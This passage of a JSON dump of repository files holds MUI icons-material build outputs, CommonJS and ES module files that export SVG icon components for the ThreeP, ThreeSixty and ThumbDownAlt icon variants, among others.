    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M10 10h3V9h-2V8h2V7h-3V5.5h3.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H10zm-4 3.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 10.5v-4c0-.55-.45-1-1-1H10V7h3v1h-2v1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1\"\n}, \"4\")], 'ThreeMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M10 10h3V9h-2V8h2V7h-3V5.5h3.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H10zm-4 3.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 10.5v-4c0-.55-.45-1-1-1H10V7h3v1h-2v1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1\"\n}, \"4\")], 'ThreeMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeP.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4.01c-1.1 0-2 .9-2 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8 4c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'ThreeP');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeP.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4.01c-1.1 0-2 .9-2 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8 4c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'ThreeP');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreePOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4.01c-1.1 0-2 .9-2 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-8-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C8.48 11.9 8 12.62 8 13.43V14h8z\"\n}), 'ThreePOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreePOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4.01c-1.1 0-2 .9-2 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-8-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C8.48 11.9 8 12.62 8 13.43V14h8z\"\n}), 'ThreePOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreePRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4.01c-1.1 0-2 .9-2 2L2 19.58c0 .89 1.08 1.34 1.71.71L6 18h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8 4c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'ThreePRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreePRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4.01c-1.1 0-2 .9-2 2L2 19.58c0 .89 1.08 1.34 1.71.71L6 18h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8 4c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'ThreePRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreePSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 2v20l4-4h16V2zm10 4c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'ThreePSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreePSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 2v20l4-4h16V2zm10 4c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'ThreePSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreePTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4v13.17L5.17 16H20V4zm8 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4.01c-1.1 0-2 .9-2 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-8-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C8.48 11.9 8 12.62 8 13.43V14h8z\"\n}, \"1\")], 'ThreePTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreePTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4v13.17L5.17 16H20V4zm8 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4.01c-1.1 0-2 .9-2 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-8-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C8.48 11.9 8 12.62 8 13.43V14h8z\"\n}, \"1\")], 'ThreePTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeSixty.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7C6.48 7 2 9.24 2 12c0 2.24 2.94 4.13 7 4.77V20l4-4-4-4v2.73c-3.15-.56-5-1.9-5-2.73 0-1.06 3.04-3 8-3s8 1.94 8 3c0 .73-1.46 1.89-4 2.53v2.05c3.53-.77 6-2.53 6-4.58 0-2.76-4.48-5-10-5\"\n}), 'ThreeSixty');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeSixty.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7C6.48 7 2 9.24 2 12c0 2.24 2.94 4.13 7 4.77V20l4-4-4-4v2.73c-3.15-.56-5-1.9-5-2.73 0-1.06 3.04-3 8-3s8 1.94 8 3c0 .73-1.46 1.89-4 2.53v2.05c3.53-.77 6-2.53 6-4.58 0-2.76-4.48-5-10-5\"\n}), 'ThreeSixty');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeSixtyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7C6.48 7 2 9.24 2 12c0 2.24 2.94 4.13 7 4.77V20l4-4-4-4v2.73c-3.15-.56-5-1.9-5-2.73 0-1.06 3.04-3 8-3s8 1.94 8 3c0 .73-1.46 1.89-4 2.53v2.05c3.53-.77 6-2.53 6-4.58 0-2.76-4.48-5-10-5\"\n}), 'ThreeSixtyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeSixtyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7C6.48 7 2 9.24 2 12c0 2.24 2.94 4.13 7 4.77V20l4-4-4-4v2.73c-3.15-.56-5-1.9-5-2.73 0-1.06 3.04-3 8-3s8 1.94 8 3c0 .73-1.46 1.89-4 2.53v2.05c3.53-.77 6-2.53 6-4.58 0-2.76-4.48-5-10-5\"\n}), 'ThreeSixtyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeSixtyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7C6.48 7 2 9.24 2 12c0 2.24 2.94 4.13 7 4.77v2.02c0 .45.54.67.85.35l2.79-2.79c.2-.2.2-.51 0-.71l-2.79-2.79c-.31-.31-.85-.09-.85.36v1.52c-3.15-.56-5-1.9-5-2.73 0-1.06 3.04-3 8-3s8 1.94 8 3c0 .66-1.2 1.68-3.32 2.34-.41.13-.68.51-.68.94 0 .67.65 1.16 1.28.96C20.11 15.36 22 13.79 22 12c0-2.76-4.48-5-10-5\"\n}), 'ThreeSixtyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeSixtyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7C6.48 7 2 9.24 2 12c0 2.24 2.94 4.13 7 4.77v2.02c0 .45.54.67.85.35l2.79-2.79c.2-.2.2-.51 0-.71l-2.79-2.79c-.31-.31-.85-.09-.85.36v1.52c-3.15-.56-5-1.9-5-2.73 0-1.06 3.04-3 8-3s8 1.94 8 3c0 .66-1.2 1.68-3.32 2.34-.41.13-.68.51-.68.94 0 .67.65 1.16 1.28.96C20.11 15.36 22 13.79 22 12c0-2.76-4.48-5-10-5\"\n}), 'ThreeSixtyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeSixtySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7C6.48 7 2 9.24 2 12c0 2.24 2.94 4.13 7 4.77V20l4-4-4-4v2.73c-3.15-.56-5-1.9-5-2.73 0-1.06 3.04-3 8-3s8 1.94 8 3c0 .73-1.46 1.89-4 2.53v2.05c3.53-.77 6-2.53 6-4.58 0-2.76-4.48-5-10-5\"\n}), 'ThreeSixtySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeSixtySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7C6.48 7 2 9.24 2 12c0 2.24 2.94 4.13 7 4.77V20l4-4-4-4v2.73c-3.15-.56-5-1.9-5-2.73 0-1.06 3.04-3 8-3s8 1.94 8 3c0 .73-1.46 1.89-4 2.53v2.05c3.53-.77 6-2.53 6-4.58 0-2.76-4.48-5-10-5\"\n}), 'ThreeSixtySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeSixtyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 16.77V20l4-4-4-4v2.73c-3.15-.56-5-1.9-5-2.73 0-1.06 3.04-3 8-3s8 1.94 8 3c0 .73-1.46 1.89-4 2.53v2.05c3.53-.77 6-2.53 6-4.58 0-2.76-4.48-5-10-5S2 9.24 2 12c0 2.24 2.94 4.13 7 4.77\"\n}), 'ThreeSixtyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeSixtyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 16.77V20l4-4-4-4v2.73c-3.15-.56-5-1.9-5-2.73 0-1.06 3.04-3 8-3s8 1.94 8 3c0 .73-1.46 1.89-4 2.53v2.05c3.53-.77 6-2.53 6-4.58 0-2.76-4.48-5-10-5S2 9.24 2 12c0 2.24 2.94 4.13 7 4.77\"\n}), 'ThreeSixtyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDown.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2m4 0v12h4V3z\"\n}), 'ThumbDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDown.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2m4 0v12h4V3z\"\n}), 'ThumbDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4h-2c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h2zM2.17 11.12c-.11.25-.17.52-.17.8V13c0 1.1.9 2 2 2h5.5l-.92 4.65c-.05.22-.02.46.08.66.23.45.52.86.88 1.22L10 22l6.41-6.41c.38-.38.59-.89.59-1.42V6.34C17 5.05 15.95 4 14.66 4h-8.1c-.71 0-1.36.37-1.72.97z\"\n}), 'ThumbDownAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4h-2c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h2zM2.17 11.12c-.11.25-.17.52-.17.8V13c0 1.1.9 2 2 2h5.5l-.92 4.65c-.05.22-.02.46.08.66.23.45.52.86.88 1.22L10 22l6.41-6.41c.38-.38.59-.89.59-1.42V6.34C17 5.05 15.95 4 14.66 4h-8.1c-.71 0-1.36.37-1.72.97z\"\n}), 'ThumbDownAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.58-6.59c.37-.36.59-.86.59-1.41V5c0-1.1-.9-2-2-2m0 12-4.34 4.34L11.77 14H3v-2l3-7h9zm4-12h4v12h-4z\"\n}), 'ThumbDownAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.58-6.59c.37-.36.59-.86.59-1.41V5c0-1.1-.9-2-2-2m0 12-4.34 4.34L11.77 14H3v-2l3-7h9zm4-12h4v12h-4z\"\n}), 'ThumbDownAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.88 21.94 5.53-5.54c.37-.37.58-.88.58-1.41V5c0-1.1-.9-2-2-2H6c-.8 0-1.52.48-1.83 1.21L.91 11.82C.06 13.8 1.51 16 3.66 16h5.65l-.95 4.58c-.1.5.05 1.01.41 1.37.59.58 1.53.58 2.11-.01M21 3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2s2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ThumbDownAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.88 21.94 5.53-5.54c.37-.37.58-.88.58-1.41V5c0-1.1-.9-2-2-2H6c-.8 0-1.52.48-1.83 1.21L.91 11.82C.06 13.8 1.51 16 3.66 16h5.65l-.95 4.58c-.1.5.05 1.01.41 1.37.59.58 1.53.58 2.11-.01M21 3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2s2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ThumbDownAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 11.6V16h8.31l-1.12 5.38L9.83 23 17 15.82V3H4.69zM19 3h4v12h-4z\"\n}), 'ThumbDownAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 11.6V16h8.31l-1.12 5.38L9.83 23 17 15.82V3H4.69zM19 3h4v12h-4z\"\n}), 'ThumbDownAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownAltTwoTone.js",
